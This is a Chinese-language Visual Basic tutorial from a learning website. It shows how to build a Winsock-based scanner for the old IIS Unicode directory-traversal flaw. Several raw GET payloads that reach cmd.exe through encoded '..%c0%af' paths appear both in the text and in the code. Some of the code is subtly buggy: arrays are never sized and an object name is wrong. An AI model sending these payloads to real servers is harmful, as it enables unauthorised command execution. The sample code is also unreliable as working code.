上一题下一题
跳转到
 
 
  世界如此多姿,发展如此迅速,窥一斑未必还能知全豹。但正如万花筒一样,每一个管窥都色彩斑斓。  
 
 
  知识通道 | 学习首页 | 教师首页 | PK首页 | 知识创造首页 | 企业首页 | 登录
 
本文对应知识领域
VB编写Unicode扫描器
作者:未知 申领版权
2010年11月14日 共有 1209 次访问 【添加到收藏夹】 【我要附加题目
受欢迎度:

    
    1.TCP (Transfer Control Protocol:传输控制协议)基础
    数据控制传输协议允许创建和维护与远程计算机的连接。连接两台计算机就可彼此进行数据传输。如果创建客户应用程序,就必须知道服务器计算机名或者 IP 地址(RemoteHost 属性),还要知道进行“侦听”的端口(RemotePort 属性),然后调用 Connect 方法。
    
    如果创建服务器应用程序,就应设置一个收听端口(LocalPort 属性)并调用 Listen 方法。当客户计算机需要连接时就会发生 ConnectionRequest 事件。为了完成连接,可调用 ConnectionRequest 事件内的 Accept 方法。
    
    建立连接后,任何一方计算机都可以收发数据。为了发送数据,可调用 SendData 方法。当接收数据时会发生 DataArrival 事件。调用 DataArrival 事件内的 GetData 方法就可获取数据。
    
    2.Winsock控件描述
    
    要创建一个cgi漏洞扫描程序,我们就需要使用Winsock控件,下面列出了Winsock控件的介绍。请把它看完,因为这是我们下一个步骤的前提条件。
    
    Winsock控件的基本属性、方法、事件
    
    属性
    方法
    
    LocalHostName | 本地机器名
    LocalIP | 本地机器IP地址
    LocalPort | 本地机器通信程序的端口(0<端口<65536)
    RemoteHost | 远程机器名
    RemotePort | 远程机器的通信程序端口
    state | 连接的当前状态
    Protocal | 使用TCP或UDP协议
    Listen
    Listen方法用于服务器程序,等待客户访问。
    格式:Winsock对象.listen
    Connect
    Connect方法用于向远程主机发出连接请求
    格式:Winsock对象.connect [远程主机IP,远程端口]
    Accept
    Accept方法用于接受一个连接请求
    格式:Winsock对象.accept Request ID
    Senddata
    此方法用于发送数据
    格式:Winsock对象.senddata 数据
    Getdata
    用来取得接收到的数据
    格式:Winsock对象.getdata 变量 [,数据类型 [,最大长度]]
    Close
    关闭当前连接
    格式:Winsock对象.close
    事件
    
    Close | 远程机器关闭连接时触发
    Connect | 连接建立好,可以进行通信时触发(客户端)
    ConnectRequest | 有请求连接到达时产生(服务器端)
    DataArrival | 有数据到达时触发
    Error | 发生错误时发生
    SendProgress | 数据传送进度
    
    
    
    Winsock的state属性
    
    常数 值 描述
    sckClosed 0 缺省值,关闭。
    SckOpen 1 打开。
    SckListening 2 侦听
    sckConnectionPending 3
    连接挂起
    sckResolvingHost 4
    识别主机。
    sckHostResolved 5
    已识别主机
    sckConnecting 6
    正在连接。
    sckConnected 7 已连接。
    sckClosing 8 同级人员正在关闭连接。
    sckError 9      错误。
    
    3.一个简单的实例
    
    (1)新建工程,添加Winsock控件
    (2)输入如下代码:
    
    Private Sub Form_Load()
    
    Msgbox str(Winsock1.LocalIP) '显示本地IP
    With Winsock1
    .LocalPort = 32555 '定义本地端口,通过这一端口连接服务器
    .RemoteHost = "127.0.0.1" '定义服务器的IP,也可以输入域名。
    .RemotePort = 80 '要求连接的服务器端口,80为HTTP服务
    .Connect '连接服务器
    EndWith
    
    End Sub
    
    
    我们通过这一段很简单的代码,熟悉了一下Winsock连接服务器的过程。这个程序没有用到其他的属性和方法,旨在让你了解一下如何连接服务器。你可以试着用其它的属性和方法来使得他返回信息。
    
    4.CGI漏洞扫描器工作原理
    
    首先,我们用Winsock连接到远程的服务器的HTTP服务端口。接着发送GET 请求,这时,服务器将返回这个文件是否存在。如果不存在,那么在返回的信息里将包含"HTTP 404"的信息。说明不存在该漏洞。我们只需要通过判断DataArrival事件中得到的数据里有没有包含HTTP 404就可以了。在本程序中,我们将检查Unicode漏洞。我们可以通过下列请求来判断:
    
    GET /scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c dir c:\\ HTTP/1.0
    GET /msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c dir c:\\ HTTP/1.0
    GET /_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c dir c:\\ HTTP/1.0
    GET /_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c dir c:\\ HTTP/1.0
    GET /cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c dir c:\\ HTTP/1.0
    
    
    5.算法
    
    一、单线程算法
    
    单线程算法即我们只创建一个Winsock控件,利用这一个Winsock控件完成扫描。这种方法速度较慢。但代码简单易懂。适合于入门。但单线程最大的弱点在于如何判断当前受到的是哪一个命令。利用单线程,很难得到确切的漏洞利用方法。但却能判断出对方是否存在漏洞。
    
    二、多线程算法
    
    多线程算法即动态创建多个Winsock控件。这样可以大大加快扫描速度,并且如果定义相应的数组。比如,我们可以用Load Winsock(n)来动来创建一个Winsock控件。相应的有CGI(n)字符变量定义了一个HTTP请求,那么,在DataArrival事件中,我们就可以通过Index来判断当前正在扫描哪个漏洞。比如:
    
    DIM CGI() as String
    CGI(1)="Get..."
    ...
    CGI(20)=.....
    For I=1 to 20
    Load Winsock(I)
    Winsock(I).Remote....
    ....
    Winsock(I).Connect
    Next I
    .....
    
    Private Sub Winsock1_DataArrival (ByVal bytesTotal As Long,Index as Integer)
    ...
    Msgbox "发现漏洞 请求:" & CGI(index)
    End Sub
    
    这就是多线程扫描的一个例子。利用Load Winsock(I)创建了1~20个控件,对应了1~20个CGI请求。具体的例子可以看我编写的Eastscaner(端口扫描器)的源代码。里面就可以动态创建了Winsock控件。
    
    6.代码分析
    
    
    
    Private Sub Form_Load()
    
    Dim CGI() as String
    
    '定义CGI漏洞列表
    
    CGI(1)="GET /scripts/..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c dir c:\\ HTTP/1.0"
    CGI(2)="GET /msadc/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c dir c:\\ HTTP/1.0"
    CGI(3)="GET /_vti_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c dir c:\\ HTTP/1.0"
    CGI(4)="GET /_mem_bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c dir c:\\ HTTP/1.0"
    CGI(5)="GET /cgi-bin/..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c dir c:\\ HTTP/1.0"
    
    
    '控件的名字为 Winsock1
    With Winsock1
    
    .RemoteHost= "127.0.0.1" '这里设置对方IP
    .RemotePort = 80 '连接的端口号。
    
    
    End With
    
    
    For I=1 to 5
    
    IF winsock1.state=0 then Winsock1.Connect
    
    Do while Winsock1.State<>7 '判断有没有连接上
    
    Doevents '这是必需的,让当前进程转给其他程序
    
    Loop
    
    'Winsock已经连接到远程主机
    
    Winsock.senddata CGI(I) & VbCrLf '发送GET请求
    
    Next I
    
    End Sub
    
    
    
    Private Sub Winsock1_DataArrival (ByVal bytesTotal As Long)
    
    Dim strData As String
    Winsock1.GetData strData '得到字符
    If instr(1,strData,"HTTP 404")=0 then Msgbox "发现Unicode漏洞" '判断是否有HTTP404
    
    End Sub
    
    7.小结
    
    通过实例,我们可以看到Winsock控件是如何利用的。你可以扩展本程序的功能。比如增加更多的CGI请求,增添个TEXT和COMMAND控件,这样可以在运行时自定义对方IP。总之,一定要自己动手。这也是学习编程的最好方法。 
    

    

 

相关新闻

您可能对这些感兴趣  

用VB做定时断线程序
VisualBasic中的界面设计原则和编程技巧
VB6.0与Windows API 间的呼叫技巧
制作可以自动隐藏的弹出式菜单
ListBox中的字符串超长显示的解决方法
VB中的Unicode 和 Ansi 格式
优化程序显示速度
Visual Basic 产生渐层的 Form 背景
用VB实现客户——服务器(TCP/IP)
用VB制作注册软件的方法

题目筛选器
日期:
类型:
状态:
得分: <=
分类:
作者:
职业:
关键字:
搜索

 
 
 
  焦点事件
 
  知识体系
 
  职业列表
 
 
  最热文章
 
 
  最多引用文章
 
 
  最新文章
 
 
 
 
网站介绍 | 广告服务 | 招聘信息 | 保护隐私权 | 免责条款 | 法律顾问 | 意见反馈
版权所有 不得转载
沪ICP备 10203777 号 联系电话:021-54428255
  帮助提示    
《我的太学》是一种全新的应用,您在操作中遇到疑问或者问题,请拨打电话13564659895,15921448526。
《我的太学》